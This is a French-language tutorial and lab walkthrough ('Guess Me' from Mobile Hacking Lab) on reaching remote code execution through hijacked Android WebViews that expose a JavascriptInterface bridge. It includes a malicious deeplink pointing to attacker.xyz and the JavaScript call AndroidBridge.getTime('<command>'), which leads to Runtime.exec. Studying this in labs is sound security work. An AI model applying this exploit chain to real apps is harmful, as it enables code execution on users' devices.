RCE
Prérequis
Il est parfois possible de parvenir à une RCE sur un appareil via une WebView vulnérable.
Pour cela, il existe plusieurs prérequis:
1) Une vulnérabilité permettant une WebView Hijacking, cela peut être:
Un traitement de deeplink non sécurisé (exp: target://open_webview/?url=https://attacker.xyz)
Ou une open redirect dans un site de confiance (exp: https://trusted.xyz/redirect?url=https://attacker.xyz
Un traitement d'intent non sécurisé (exp: Activité qui prend une URL non contrôlée en extra)
L'important étant de pouvoir contrôler la source d'une WebView.
2) La WebView vulnérable doit pouvoir interpréter du code JavaScript
webView.getSettings().setJavaScriptEnabled(true);3) La WebVIew vulnérable doit exposer un bridge natif
addJavascriptInterface(...)4) Une classe contenant une méthode pouvant exécuter du code arbitraire doit être exposée au travers du bridge
Classe avec annotation @JavaScriptInterfaceAttention: Parfois la classe peut sembler safe mais appeler ensuite des composants dangereux donc une primitive dangereuse peut se retrouver loin dans le code. C'est globalement le même principe que les chaînes de gadgets lors des RCE via desérialisation non sécurisée. L’exploitation d’un JavascriptInterface vulnérable peut reposer sur une logique proche des gadget chains de désérialisation : une méthode apparemment bénigne devient exploitable car elle permet d’atteindre transitivement des primitives dangereuses.
Cas particuliers
Exploit Navigateur
Cas plus rares mais très graves.
Si le moteur :
Chromium/WebView
Safari/WKWebView
contient une vulnérabilité mémoire exploitable :
alors une page malveillante chargée via hijacking peut mener à une vraie RCE.
Mais là :
on parle d’exploit navigateur
beaucoup plus complexe
souvent 0-day
Exploitation
Prenons l'exemple d'un lab en ligne. ("Guess Me" de Mobile Hacking Lab)
Analyse du Manifest
L'application expose un deeplink mhl://mobilehackinglab/ déclaré pour l'activité com.mobilehackinglab.guessme/.WebViewActivity

Prérequis 1) Une vulnérabilité qui permet un WebView Hijacking
Dans le code de l'activité se trouve une fonction "handleDeepLink" utilisée pour recevoir l'intent. Elle vérifie d'abord si l'intent contient un deeplink et, si oui, elle la transmet à une autre fonction nommée "isValidDeepLink", puis à "loadDeepLink".

Premièrement, la fonction "isValidDeepLink" vérifie si le schéma est "mhl://" ou "https://" et si l'hôte est "mobilehackinglab".

La fonction "loadDeepLink" quant à elle récupére le contenu du paramètre "url" dans le deeplink reçu et ouvre une WebView avec le contenu de ce paramètre sans contrôle supplémentaire.

Ainsi, un deeplink comme mhl://mobilehackinglab/?url=https://attacker.xyz ouvrira une WebView avec comme source https://attacker.xyz
On a donc notre premier prérequis...

Prérequis 2) et 3) les configurations de WebView
Ensuite, il faut que la WebView contrôlée interprète le JS et expose un bridge natif.

Comme convenu, setJavaScriptEnabled(true) et un bridge nommé "AndroidBridge" est exposé
Prérequis 4) Une classe comportant une méthode dangereuse
En recherchant dans le code l'annotation @JavascriptInterface, On tombe sur la méthode getTime() qui prend en argument la string "Time" qui est ensuite exécutée avec Runtime.getRuntime().exec(Time).

On peut alors contrôler la valeure de la string "Time" via le bridge natif en appelant la méthode comme ceci dans le code JavaScript de notre page web "attaquant":
AndroidBridge.getTime("<command>")
Exemple avec AndroidBridge.getTime("id"):

Mis à jour